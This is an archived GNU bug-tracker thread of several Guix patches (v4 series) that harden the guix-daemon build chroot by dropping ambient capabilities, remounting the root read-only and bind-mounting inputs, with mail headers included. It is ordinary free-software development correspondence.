Message-ID: <ed036f6e200cadf86df275a91b768693c6579b06.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* config-daemon.ac: Check for <sys/prctl.h>.
* nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is
true, call ‘prctl’ to drop all ambient capabilities.

Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f
---
 config-daemon.ac      | 2 +-
 nix/libstore/build.cc | 9 +++++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 4e949bc88a3..35d9c8cd56b 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -79,7 +79,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
   AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
-    linux/close_range.h])
+    linux/close_range.h sys/prctl.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 961894454f3..2145955c4bd 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -50,6 +50,9 @@
 #if HAVE_SCHED_H
 #include <sched.h>
 #endif
+#if HAVE_SYS_PRCTL_H
+#include <sys/prctl.h>
+#endif
 
 
 #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE)
@@ -2071,6 +2074,12 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
+# if HAVE_SYS_PRCTL_H
+	    /* Drop ambient capabilities such as CAP_CHOWN that might have
+	       been granted when starting guix-daemon.  */
+	    prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0);
+# endif
+
 	    if (!fixedOutput) {
 		/* Initialise the loopback interface. */
 		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:31:00 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:31:00 2025
Received: from localhost ([127.0.0.1]:47853 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OF-0004cG-Ir
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:59 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:45396)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NR-0004Qc-5L
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:11 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NL-0002MN-IX; Fri, 28 Feb 2025 09:30:03 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=NLafqJZ6BIvCCekAS+MOlHmLkanbGr+JT2Q80td8JA8=; b=CIOclN1ZklQriqzRs5V6
 meOM8ilPLCLDEax2ruoOxX4EnwQEbWMw5/faSWD2RkNvCaJrii6zMD5FeEQGV9aE9pxEoUrbAUzGc
 zdQX1Zap1lGYTFnOc6E2PGf6BCSL2m/I3u0cVj4GQ96RHRsDtlxphsJN0CR/Ng3pwMIlMY7CGXXik
 TQrjUlZQIR7RWuWwd13jVpprDA4OLiqdn34s8SdwHtXwt5gUof9HqdAbzvuZFjiuIB0+AtFUjrl1w
 8fuc/bZUSdlCvAeKV2+4+I+4uLLi8zcKkia5AGt7PN4EmzR7Kpxr0HUfXQhtWhJnF2DjuILcsSfWu
 BjOwC+5hwOvWtg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 09/14] daemon: Move comments where they belong.
Date: Fri, 28 Feb 2025 15:29:28 +0100
Message-ID: <7f3478a0fd9d7e26d5c5abda46c2821900c8bff6.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Shuffle
comments for clarity.

Change-Id: I6557c103ade4a3ab046354548ea193c68f8c9c05
---
 nix/libstore/build.cc | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 2145955c4bd..47f73ac8d23 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1871,18 +1871,19 @@ void DerivationGoal::startBuilder()
         }
         dirsInChroot[tmpDirInSandbox] = tmpDir;
 
-        /* Make the closure of the inputs available in the chroot,
-           rather than the whole store.  This prevents any access
-           to undeclared dependencies.  !!! As an extra security
-           precaution, make the fake store only writable by the
-           build user. */
+	/* Create the fake store.  */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
         if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
-            throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
+	     /* As an extra security precaution, make the fake store only
+		writable by the build user.  */
+	     throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
+        /* Make the closure of the inputs available in the chroot, rather than
+           the whole store.  This prevents any access to undeclared
+           dependencies. */
         foreach (PathSet::iterator, i, inputPaths) {
 	    struct stat st;
             if (lstat(i->c_str(), &st))
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:30:59 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:30:59 2025
Received: from localhost ([127.0.0.1]:47851 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OF-0004c9-2W
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:59 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:36544)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NM-0004PY-QQ
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:08 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NH-0002Ej-FW; Fri, 28 Feb 2025 09:29:59 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=3bB9WyIt0Vkk/qSchJHScluBVP5+vsBh/S+chQ+QsfI=; b=mun4SWk8Ria4UK9G89vt
 e5vRKPFE/s+hCmUfREPfA2wZg+PR7enaBcEXv8iyQuP2MO/HbRdmLIZIfEiVBmsqmgip9eUge9yKM
 8PHTtwrNqk++m6KjgTdZyQV/ebhQrywpuvfmU86g0yyfGsfz8QnEL6FrS5tEyffRy1GaaWQ28cA7A
 5Jxp+ZOwchU4F4WAB+0hj5SgEmiaPbXsXF9Au+l4fFrOmgXJaEtf+QA7zIMCWuBhTEgir55+cQTUG
 dhBOZ3QE/IvgHd2BMG84XDdqNNESU/Y76HLtA1tC467Vm5weiFGJmcS+5fl83+cEgJV3BOr3Y4DId
 6PoPQllqvylILA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 05/14] daemon: Remount root directory as read-only.
Date: Fri, 28 Feb 2025 15:29:24 +0100
Message-ID: <f3474c5bb726b06503c9ccc1758019ba327b21cd.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::runChild): Bind-mount the store
and /tmp under ‘chrootRootDir’ to themselves as read-write.
Remount / as read-only.

Change-Id: I79565094c8ec8448401897c720aad75304fd1948
---
 nix/libstore/build.cc | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 3861a1ffd90..c8b778362ac 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2091,6 +2091,18 @@ void DerivationGoal::runChild()
 
             for (auto & i : ss) dirsInChroot[i] = i;
 
+	    /* Make new mounts for the store and for /tmp.  That way, when
+	       'chrootRootDir' is made read-only below, these two mounts will
+	       remain writable (the store needs to be writable so derivation
+	       outputs can be written to it, and /tmp is writable by
+	       convention).  */
+	    auto chrootStoreDir = chrootRootDir + settings.nixStore;
+	    if (mount(chrootStoreDir.c_str(), chrootStoreDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of store '%1%' failed") % chrootStoreDir);
+	    auto chrootTmpDir = chrootRootDir + "/tmp";
+	    if (mount(chrootTmpDir.c_str(), chrootTmpDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of temporary directory '%1%' failed") % chrootTmpDir);
+
             /* Bind-mount all the directories from the "host"
                filesystem that we want in the chroot
                environment. */
@@ -2164,6 +2176,10 @@ void DerivationGoal::runChild()
 
             if (rmdir("real-root") == -1)
                 throw SysError("cannot remove real-root directory");
+
+	    /* Remount root as read-only.  */
+            if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+                throw SysError(format("read-only remount of build root '%1%' failed") % chrootRootDir);
         }
 #endif
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:30:59 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:30:58 2025
Received: from localhost ([127.0.0.1]:47849 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OE-0004c1-5n
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:58 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:45362)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NP-0004Q5-2N
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:08 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NJ-0002FA-Fq; Fri, 28 Feb 2025 09:30:01 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=nqlzKMPZLgTl3mUC6Z2Zfd4XTH6zRZXHrXrdQzkm5pA=; b=ktfH5m1dab5qskP1QGwz
 FXhes6C7pJQ8idGndsfPnSMAha/wlTYX77qxCQ3CErdFXpNgxe3mf9ZOkFXKIJmZvTaWfoXVgzMvt
 BENl1CbTMNs5pz66x0AyHGTnsJCjkV2vmYM+qQWmAj12v1TapPaCzGTT92DgC2zO3/Rf/HaSNZoYD
 Bna62jyuucfYHYeftY/ErLjXlYe9iIsA7pXhBNTHgc4MY3pOWSCFoiYPyjoeb69G2htgoos68sIIN
 OQzZ8eWxvKznySmPWlkxoUWuVpTeTVnqJ3qXzaV4N0gJu+Q3fE9lJsJgkhkLcULbbCa8dT+dOVjz+
 19kCGFykZkR7hQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 07/14] daemon: Create /var/guix/profiles/per-user
 unconditionally.
Date: Fri, 28 Feb 2025 15:29:26 +0100
Message-ID: <1ffc921092a6ef697f1ee1ded2c256afbd985723.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/local-store.cc (LocalStore::LocalStore): Create
‘perUserDir’ unconditionally.

Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe
---
 nix/libstore/local-store.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 83e6c3e16ec..f6540c2117d 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace)
         createSymlink(profilesDir, gcRootsDir + "/profiles");
     }
 
-    /* Optionally, create directories and set permissions for a
-       multi-user install. */
+    Path perUserDir = profilesDir + "/per-user";
+    createDirs(perUserDir);
+
+    /* Optionally, set permissions for a multi-user install.  */
     if (getuid() == 0 && settings.buildUsersGroup != "") {
 
-        Path perUserDir = profilesDir + "/per-user";
-        createDirs(perUserDir);
         if (chmod(perUserDir.c_str(), 0755) == -1)
             throw SysError(format("could not set permissions on '%1%' to 755")
                            % perUserDir);
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:30:14 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:30:13 2025
Received: from localhost ([127.0.0.1]:47823 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1NT-0004Rm-3t
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:13 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:36532)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NL-0004PA-1v
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:04 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NF-0002EJ-8X; Fri, 28 Feb 2025 09:29:57 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=NrqDWSBdaW+uq4Ctj1kouCXkp1v2g9wJcyVNHH7P7aA=; b=dyrHB4BIFdnYMdxsxjlr
 DCveUNT7LSnWLm+1tI+Nly75nKSb1VOKSNcxop5cswtBHbrG0RhuSq5iN05bNWNP+ppvqDkrv5VAE
 +XAfrhT+a/5QL8D5CCpBNfuTCFCNtY2VWQtGANbsfxZeZABtmrm/mbTe0gNGlm3MlACUG/xa+DR75
 zuf8VdsthOuMc1Yaa72qMXLIiL86ynIZ8wQwZooO2lna/SKmk+zQ53ChgmgIbfNwVeC9/8HCBrFIj
 k1fKQ2gw0h3RQrZKw+9U6hcNlDziRwRdqORQw87XKU9QOWwQKAwBHIKRqLwtTx8/HyVazOtfBGs6X
 /xsLkpWopWe2wQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 03/14] daemon: Bind-mount all the inputs,
 not just directories.
Date: Fri, 28 Feb 2025 15:29:22 +0100
Message-ID: <99aa9bb6ad2104a891536b2cc94db64cbe7ad0ba.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -1.5 (-)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -2.5 (--)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Add all of
‘inputPaths’ to ‘dirsInChroot’ instead of hard-linking regular files.
Special-case symlinks.
(DerivationGoal)[regularInputPaths]: Remove.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: I070987f92d73f187f7826a975bee9ee309d67f56
---
 nix/libstore/build.cc | 39 ++++++++++++++-------------------------
 1 file changed, 14 insertions(+), 25 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 8ca5e5b732c..193b279b88a 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -659,9 +659,6 @@ private:
     /* RAII object to delete the chroot directory. */
     std::shared_ptr<AutoDelete> autoDelChroot;
 
-    /* All inputs that are regular files. */
-    PathSet regularInputPaths;
-
     /* Whether this is a fixed-output derivation. */
     bool fixedOutput;
 
@@ -1850,9 +1847,7 @@ void DerivationGoal::startBuilder()
 
         /* Make the closure of the inputs available in the chroot,
            rather than the whole store.  This prevents any access
-           to undeclared dependencies.  Directories are bind-mounted,
-           while other inputs are hard-linked (since only directories
-           can be bind-mounted).  !!! As an extra security
+           to undeclared dependencies.  !!! As an extra security
            precaution, make the fake store only writable by the
            build user. */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
@@ -1863,28 +1858,22 @@ void DerivationGoal::startBuilder()
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
-            struct stat st;
+	    struct stat st;
             if (lstat(i->c_str(), &st))
                 throw SysError(format("getting attributes of path `%1%'") % *i);
-            if (S_ISDIR(st.st_mode))
-                dirsInChroot[*i] = *i;
-            else {
-                Path p = chrootRootDir + *i;
-                if (link(i->c_str(), p.c_str()) == -1) {
-                    /* Hard-linking fails if we exceed the maximum
-                       link count on a file (e.g. 32000 of ext3),
-                       which is quite possible after a `nix-store
-                       --optimise'. */
-                    if (errno != EMLINK)
-                        throw SysError(format("linking `%1%' to `%2%'") % p % *i);
-                    StringSink sink;
-                    dumpPath(*i, sink);
-                    StringSource source(sink.s);
-                    restorePath(p, source);
-                }
 
-                regularInputPaths.insert(*i);
-            }
+	    if (S_ISLNK(st.st_mode)) {
+		/* Since bind-mounts follow symlinks, thus representing their
+		   target and not the symlink itself, special-case
+		   symlinks. XXX: When running unprivileged, TARGET can be
+		   deleted by the build process.  Use 'open_tree' & co. when
+		   it's more widely available.  */
+                Path target = chrootRootDir + *i;
+		if (symlink(readLink(*i).c_str(), target.c_str()) == -1)
+		    throw SysError(format("failed to create symlink '%1%' to '%2%'") % target % readLink(*i));
+	    }
+	    else
+		dirsInChroot[*i] = *i;
         }
 
         /* If we're repairing, checking or rebuilding part of a
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:30:11 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:30:11 2025
Received: from localhost ([127.0.0.1]:47815 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1NQ-0004RM-KL
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:11 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:36524)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NJ-0004P6-GE
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:02 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NE-0002E0-1F; Fri, 28 Feb 2025 09:29:56 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=GvrSaaobOA5tdGu0YyC/d2iS1wHrLGwDVV1qFej7o30=; b=ltrLOL0ivbxd+UOuEtbT
 T/sbdE03vVNyxQJwPQlLat/QUvxb+Nj4ghZNeI0EQji48T/mOwPw8UQq2/nSjHkeq0GtxuEXLXskO
 A4WnjKIuGl58EvYiifbt++/uj2ys52VbMNDyf+ji3ujhbRJtnE+ciCxwSepH+PmCOllKx/ds6k7tQ
 4+4B6aVFxhmuMhMGK/JiWh0lWR0+vjEsJWX5zAE8uw9nfhH+mKLIgz+iGQXq/dPi31K/G2BG5eYde
 pw1Dft8o7l85SoiZAKOGuNbXZ/RAsSPHjZG3GApSuXUJcQrtre/xNvHZkfaiKQVSJvGIOHhwjpG7c
 fMyI37dBAspASw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 02/14] daemon: Bind-mount /etc/nsswitch.conf & co. only if
 it exists.
Date: Fri, 28 Feb 2025 15:29:21 +0100
Message-ID: <9c8ee0e95ead78ad6d34459f998097413e9f9bf8.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
